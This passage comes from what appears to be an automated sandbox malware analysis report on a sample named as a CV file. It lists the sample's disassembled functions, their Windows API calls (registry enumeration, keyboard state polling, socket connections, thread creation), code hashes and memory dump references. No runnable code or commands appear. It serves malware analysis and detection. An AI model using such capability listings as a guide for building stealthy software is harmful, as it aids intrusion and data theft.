                                                                            • Part of subcall function 005AE65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,005DA574,?,?,00000000,00000008), ref: 005AE699
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
                                                                          • String ID:
                                                                          • API String ID: 327935632-0
                                                                          • Opcode ID: fd2f49c36cdeb4cdc6325b25ff795470378c30497bb7d276d224797eae8f1ed9
                                                                          • Instruction ID: 9ba58104fa45885e991dc9e02475af114f82359828ac571b2f7184a40cff9242
                                                                          • Opcode Fuzzy Hash: fd2f49c36cdeb4cdc6325b25ff795470378c30497bb7d276d224797eae8f1ed9
                                                                          • Instruction Fuzzy Hash: 71512D75A0020ADFCF10EFA8C495DADBBB5FF59310B188095EA15AB392DB34ED45CB50
                                                                          Function 005F2E29 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005F3C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,005F2BB5,?,?), ref: 005F3C1D
                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 005F2EEF
                                                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 005F2F2E
                                                                          • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 005F2F75
                                                                          • RegCloseKey.ADVAPI32(?,?), ref: 005F2FA1
                                                                          • RegCloseKey.ADVAPI32(00000000), ref: 005F2FAE
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Close$BuffCharConnectEnumOpenRegistryUpper
                                                                          • String ID:
                                                                          • API String ID: 3740051246-0
                                                                          • Opcode ID: ad28a5389013afa0c3b1b7d11efdf75130cf2673feb230e6ef6d597ac7cb333d
                                                                          • Instruction ID: d449cdd22cc43d186a6797f633b72ddb1b872f23b967f1997a230314cc84293b
                                                                          • Opcode Fuzzy Hash: ad28a5389013afa0c3b1b7d11efdf75130cf2673feb230e6ef6d597ac7cb333d
                                                                          • Instruction Fuzzy Hash: FB517F71218205AFDB04EF64C896E7ABBF9FF88304F04881DF65587291DB34E905CB52
                                                                          Function 005FCCF7 Relevance: 7.6, APIs: 5, Instructions: 129COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 9b353b88259c5e39585bb3bbc8c758dd61535baeffd465b4f05a35bac5d47ba4
                                                                          • Instruction ID: 9ecb37d67462099fd3b971915d5aa37bafd03f3e25cd43f12d4c30309403996b
                                                                          • Opcode Fuzzy Hash: 9b353b88259c5e39585bb3bbc8c758dd61535baeffd465b4f05a35bac5d47ba4
                                                                          • Instruction Fuzzy Hash: 6741C33990025CABC710DF68CD48FB9BF69FB09310F184575EA59E72D1C738AD01DA90
                                                                          Function 005E1206 Relevance: 7.6, APIs: 5, Instructions: 127COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 005E12B4
                                                                          • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 005E12DD
                                                                          • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 005E131C
                                                                            • Part of subcall function 0059936C: __swprintf.LIBCMT ref: 005993AB
                                                                            • Part of subcall function 0059936C: __itow.LIBCMT ref: 005993DF
                                                                          • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 005E1341
                                                                          • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 005E1349
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                                                          • String ID:
                                                                          • API String ID: 1389676194-0
                                                                          • Opcode ID: 481c27829e000f68fc96a9ee00cc7a51ad1e1b693646abf1822eda933d44e8cf
                                                                          • Instruction ID: 566c2b395cff59ff573f53d7392d1b10de16cee3c4937730186140d7a99beb2f
                                                                          • Opcode Fuzzy Hash: 481c27829e000f68fc96a9ee00cc7a51ad1e1b693646abf1822eda933d44e8cf
                                                                          • Instruction Fuzzy Hash: 2B412935A00506EFCF05EF64C9859AEBBF5FF48310B148499E94AAB362DB31ED01DB50
                                                                          Function 005AB63C Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCursorPos.USER32(000000FF), ref: 005AB64F
                                                                          • ScreenToClient.USER32(00000000,000000FF), ref: 005AB66C
                                                                          • GetAsyncKeyState.USER32(00000001), ref: 005AB691
                                                                          • GetAsyncKeyState.USER32(00000002), ref: 005AB69F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AsyncState$ClientCursorScreen
                                                                          • String ID:
                                                                          • API String ID: 4210589936-0
                                                                          • Opcode ID: 273dc513c03be9f0937382bc9acc089cdcf984a4ed133ef6c31d086ce04b7898
                                                                          • Instruction ID: e90d972c1c1b7ea7e3a788dc5af3441406fa5755edd90339629187b06e7b2189
                                                                          • Opcode Fuzzy Hash: 273dc513c03be9f0937382bc9acc089cdcf984a4ed133ef6c31d086ce04b7898
                                                                          • Instruction Fuzzy Hash: 7541603150411ABBDF199FA4C844AEDBF75FB46324F10831AF829972D1CB34A954DFA1
                                                                          Function 005CB358 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetWindowRect.USER32(?,?), ref: 005CB369
                                                                          • PostMessageW.USER32(?,00000201,00000001), ref: 005CB413
                                                                          • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 005CB41B
                                                                          • PostMessageW.USER32(?,00000202,00000000), ref: 005CB429
                                                                          • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 005CB431
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessagePostSleep$RectWindow
                                                                          • String ID:
                                                                          • API String ID: 3382505437-0
                                                                          • Opcode ID: 8fc324c902c1095529e2e1c79cd7c8dfe472ac79b1022a21acd1912d6e0fedd9
                                                                          • Instruction ID: 44e84f15cdc531c8e22a80790d4c8cf4f969ff4f9b45b3a086a8791eb78e38ce
                                                                          • Opcode Fuzzy Hash: 8fc324c902c1095529e2e1c79cd7c8dfe472ac79b1022a21acd1912d6e0fedd9
                                                                          • Instruction Fuzzy Hash: 6631AB71900259EFEF04CFA8D98EBDE3BB6FB04715F108629F821AA1D1C3B09914CB90
                                                                          Function 005CDBBF Relevance: 7.6, APIs: 5, Instructions: 87windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • IsWindowVisible.USER32(?), ref: 005CDBD7
                                                                          • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 005CDBF4
                                                                          • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 005CDC2C
                                                                          • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 005CDC52
                                                                          • _wcsstr.LIBCMT ref: 005CDC5C
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                                                          • String ID:
                                                                          • API String ID: 3902887630-0
                                                                          • Opcode ID: 6a8ae2753bf2ba9ecb438532e2d1f81a5ee87d2530c6dfe78ac579914be8e3b2
                                                                          • Instruction ID: 33c1a3d500d431c9976fe34e08ada77e47c35b13b5e11205561b9b7fbadbc880
                                                                          • Opcode Fuzzy Hash: 6a8ae2753bf2ba9ecb438532e2d1f81a5ee87d2530c6dfe78ac579914be8e3b2
                                                                          • Instruction Fuzzy Hash: 8921B371204244BFEB159BA99C49EBF7FB9EF85750F14803EF809CA191EAA19C4196A0
                                                                          Function 005CBC77 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 005CBC90
                                                                          • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 005CBCC2
                                                                          • __itow.LIBCMT ref: 005CBCDA
                                                                          • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 005CBD00
                                                                          • __itow.LIBCMT ref: 005CBD11
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$__itow
                                                                          • String ID:
                                                                          • API String ID: 3379773720-0
                                                                          • Opcode ID: 7103c7f6ff7ed98cfdae9ba27038c3bdf1a873c15d0d08ba8f8734c40e42bb1a
                                                                          • Instruction ID: 3a8ad6f0f69465512402b52821f51b22eceb2c77c22749819d33050467dd4fbb
                                                                          • Opcode Fuzzy Hash: 7103c7f6ff7ed98cfdae9ba27038c3bdf1a873c15d0d08ba8f8734c40e42bb1a
                                                                          • Instruction Fuzzy Hash: EF21C935600619BEEB21AAA58C4BFDF7E6DFF89710F105029FA06EB181DB708D4587A1
                                                                          Function 005D6318 Relevance: 7.6, APIs: 5, Instructions: 80COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005950E6: _wcsncpy.LIBCMT ref: 005950FA
                                                                          • GetFileAttributesW.KERNEL32(?,?,?,?,005D60C3), ref: 005D6369
                                                                          • GetLastError.KERNEL32(?,?,?,005D60C3), ref: 005D6374
                                                                          • CreateDirectoryW.KERNEL32(?,00000000,?,?,?,005D60C3), ref: 005D6388
                                                                          • _wcsrchr.LIBCMT ref: 005D63AA
                                                                            • Part of subcall function 005D6318: CreateDirectoryW.KERNEL32(?,00000000,?,?,?,005D60C3), ref: 005D63E0
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
                                                                          • String ID:
                                                                          • API String ID: 3633006590-0
                                                                          • Opcode ID: 33edf3fd781717261222ec2be85fb82d395be675869a44bde159cb6e7ed04fc8
                                                                          • Instruction ID: 16b285370550a9b350e848c4a6fec03ff95127b1ae3d2b79b2444eb9a44caf61
                                                                          • Opcode Fuzzy Hash: 33edf3fd781717261222ec2be85fb82d395be675869a44bde159cb6e7ed04fc8
                                                                          • Instruction Fuzzy Hash: 252108315042169BDB35EB7CAC46FEE2B6CBF0A3A0F104867F045C32C1EB60D9828B60
                                                                          Function 005E8B95 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005EA82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 005EA84E
                                                                          • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 005E8BD3
                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 005E8BE2
                                                                          • connect.WSOCK32(00000000,?,00000010), ref: 005E8BFE
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorLastconnectinet_addrsocket
                                                                          • String ID:
                                                                          • API String ID: 3701255441-0
                                                                          • Opcode ID: e778cb5ffd9a5ff6be031e2e1d81ad8e714009665d43438751ac69d5810c2ff8
                                                                          • Instruction ID: b5c35b86e36acd4100dd1eedc9cda96f186b4fefb0ae6bdde219140cfa384f37
                                                                          • Opcode Fuzzy Hash: e778cb5ffd9a5ff6be031e2e1d81ad8e714009665d43438751ac69d5810c2ff8
                                                                          • Instruction Fuzzy Hash: 0C21A8312001155FCB14AF68CC49FBD7BA9FF85750F14845AF95A9B3D1DB74AC018B51
                                                                          Function 005E8420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • IsWindow.USER32(00000000), ref: 005E8441
                                                                          • GetForegroundWindow.USER32 ref: 005E8458
                                                                          • GetDC.USER32(00000000), ref: 005E8494
                                                                          • GetPixel.GDI32(00000000,?,00000003), ref: 005E84A0
                                                                          • ReleaseDC.USER32(00000000,00000003), ref: 005E84DB
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$ForegroundPixelRelease
                                                                          • String ID:
                                                                          • API String ID: 4156661090-0
                                                                          • Opcode ID: 300f64270ac78560b6ab723eea6d9374a2fe55eb4ea9b2a44d2f17e02c704023
                                                                          • Instruction ID: 538f6d80b3e14a5b9de3072eaadf9e83be62e1c037a6e490e18d90f61a90dbc1
                                                                          • Opcode Fuzzy Hash: 300f64270ac78560b6ab723eea6d9374a2fe55eb4ea9b2a44d2f17e02c704023
                                                                          • Instruction Fuzzy Hash: 9C218475A00205AFDB14DFA5D889AAEBBF5FF88341F04C47AE85997351DB70AC04CBA0
                                                                          Function 005AAF83 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 005AAFE3
                                                                          • SelectObject.GDI32(?,00000000), ref: 005AAFF2
                                                                          • BeginPath.GDI32(?), ref: 005AB009
                                                                          • SelectObject.GDI32(?,00000000), ref: 005AB033
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ObjectSelect$BeginCreatePath
                                                                          • String ID:
                                                                          • API String ID: 3225163088-0
                                                                          • Opcode ID: 0852128cc8f59ffa3d4f04651e88ab403b21aab1220de12bc9bad95b1f366c7e
                                                                          • Instruction ID: f72af53cd15d15b51afa64efc656488de5bbb0747cdb7d6fd4da53002b3a7cd1
                                                                          • Opcode Fuzzy Hash: 0852128cc8f59ffa3d4f04651e88ab403b21aab1220de12bc9bad95b1f366c7e
                                                                          • Instruction Fuzzy Hash: 6E21A4B0800306EFDB24DF55EC4879F7F6ABB12366F18571AF4219A1A1D3704951CF91
                                                                          Function 005B217F Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __calloc_crt.LIBCMT ref: 005B21A9
                                                                          • CreateThread.KERNEL32(?,?,005B22DF,00000000,?,?), ref: 005B21ED
                                                                          • GetLastError.KERNEL32 ref: 005B21F7
                                                                          • _free.LIBCMT ref: 005B2200
                                                                          • __dosmaperr.LIBCMT ref: 005B220B
                                                                            • Part of subcall function 005B7C0E: __getptd_noexit.LIBCMT ref: 005B7C0E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
                                                                          • String ID:
                                                                          • API String ID: 2664167353-0
                                                                          • Opcode ID: 82a476cb40cecd4463646041ae2ba3d59d741fc70dbdf7a41c3f757bd6197379
                                                                          • Instruction ID: 332b7d333a4587d68522ead83fbf4a3b835ea6f3aac89c913cfc205c92015abd
                                                                          • Opcode Fuzzy Hash: 82a476cb40cecd4463646041ae2ba3d59d741fc70dbdf7a41c3f757bd6197379
                                                                          • Instruction Fuzzy Hash: 8511A53210470B6F9B11AF69DC46DEF7F99FF85760B100429F924C6151EB71F8119AB1
                                                                          Function 005CABBB Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 005CABD7
                                                                          • GetLastError.KERNEL32(?,005CA69F,?,?,?), ref: 005CABE1
                                                                          • GetProcessHeap.KERNEL32(00000008,?,?,005CA69F,?,?,?), ref: 005CABF0
                                                                          • HeapAlloc.KERNEL32(00000000,?,005CA69F,?,?,?), ref: 005CABF7
                                                                          • GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 005CAC0E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                                          • String ID:
                                                                          • API String ID: 842720411-0
                                                                          • Opcode ID: 56cd226fb7cdce047d3e46fd0fad89893a75cecc527d8622041fd011f09a8d84
                                                                          • Instruction ID: 7cf6a19deca40713a3f97006ec6968037efd832bc09994b87e6283b4cf19e6e0
                                                                          • Opcode Fuzzy Hash: 56cd226fb7cdce047d3e46fd0fad89893a75cecc527d8622041fd011f09a8d84
                                                                          • Instruction Fuzzy Hash: 73011D71200208BFDB144FA5DC49EAB3FAEFF8A759B14442AF945C3260D6719C40CB61
                                                                          Function 005D7A58 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 005D7A74
                                                                          • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 005D7A82
                                                                          • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 005D7A8A
                                                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 005D7A94
                                                                          • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 005D7AD0
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                          • String ID:
                                                                          • API String ID: 2833360925-0
                                                                          • Opcode ID: 895b0dc5cb185c2962dbd4d86bda5a182838b4be8767ab0a2dbf4c495ee86bbc
                                                                          • Instruction ID: 56b7e3e4c6d52116d0b0b2aaef5f891fcc1b49ae081ce8efef98fb7721c30b29
                                                                          • Opcode Fuzzy Hash: 895b0dc5cb185c2962dbd4d86bda5a182838b4be8767ab0a2dbf4c495ee86bbc
